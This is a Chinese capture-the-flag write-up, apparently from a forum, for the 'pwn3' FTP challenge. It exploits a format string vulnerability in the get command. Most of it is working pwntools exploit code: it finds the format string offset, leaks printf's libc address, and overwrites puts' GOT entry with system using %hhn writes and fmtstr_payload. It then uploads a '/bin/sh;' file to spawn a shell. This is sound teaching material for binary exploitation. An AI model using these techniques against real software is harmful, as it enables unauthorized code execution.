https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#_9
ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录
其中get方法存在格式化字符串漏洞
所以需要先put一个文件,内容是payload,然后get这个文件
先测试一下偏移
from pwn import *
# context.log_level = 'debug'
sh = process("./pwn3")
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put():
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(b"aaa")
sh.recvuntil(b"then, enter the content:")
sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p')
def get():
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(b"aaa")
put()
get()
print(sh.recv())
sh.interactive()
结果:
看到tag偏移量是7
再测试一下,把put最后一行改一下:
def put():
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(b"aaa")
sh.recvuntil(b"then, enter the content:")
sh.sendline(b'AAAA%7$p') 确定偏移是7
dir方法:
开始构造payload:
把puts的地址改成system的地址,然后put一个文件,文件名为‘/bin/sh;’, 然后再调用dir, show_dir()函数会执行puts("/bin/sh;...")
也就是 system("/bin/sh;... "),反弹shell
exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF("./pwn3")
sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put(file_name, file_content):
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(file_name)
sh.recvuntil(b"then, enter the content:")
sh.sendline(file_content)
def get(file_name):
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(file_name)
def dir():
sh.recvuntil(b"ftp>")
sh.sendline(b"dir")
def leakage_function_addr(got_addr):
put(b'get_addr', b'%8$s' + p32(got_addr))
get(b'get_addr')
function_addr = u32(sh.recv(4))
return function_addr
def compute_order_32(target):
print("target=%x"%target)
dic = {}
for i in range(4):
x = (target >> (i * 8))
x &= 0xff
dic[i] = x
ls = list(dic.items())
ls.sort(key=lambda x:x[1])
return ls
def hack(addr, value, offset_start):
list_of_value = compute_order_32(value)
print(list_of_value)
payload = flat([
p32(addr + 0),
p32(addr + 1),
p32(addr + 2),
p32(addr + 3)
])
total_char = 16
for it in list_of_value:
curr_char = it[1] - total_char
total_char += curr_char
payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"
print("addr=%x"%addr)
debug(payload)
put(b'hack', payload)
get(b'hack')
printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)
libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)
system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)
hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')
dir()
sh.interactive()
需要计算偏移量覆盖got['puts']
怎么覆盖看这个:https://bbs.pediy.com/thread-273213.htm
可以用pwntools里面的方法,一行代码搞定:payload = fmtstr_payload(7, {addr: value})
使用fmtstr_payload后的版本:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF("./pwn3")
sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file"
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put(file_name, file_content):
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(file_name)
sh.recvuntil(b"then, enter the content:")
sh.sendline(file_content)
def get(file_name):
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(file_name)
def dir():
sh.recvuntil(b"ftp>")
sh.sendline(b"dir")
def leakage_function_addr(got_addr):
put(b'get_addr', b'%8$s' + p32(got_addr))
get(b'get_addr')
function_addr = u32(sh.recv(4))
return function_addr
def hack(addr, value, offset_start):
payload = fmtstr_payload(7, {addr: value})
debug(payload)
put(b'hack', payload)
get(b'hack')
printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)
libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)
system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)
hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')
dir()
sh.interactive()
看下区别,这个是pwntools生成的payload:
这个是我的:
区别在格式化字符串和指针的位置不同
看下覆盖后的got,已经变成system了,nice
[培训]《安卓高级研修班(网课)》月薪三万计划
最后于 2022-6-9 21:43
被洋洋不得意编辑
,原因: 添加程序文件
上传的附件: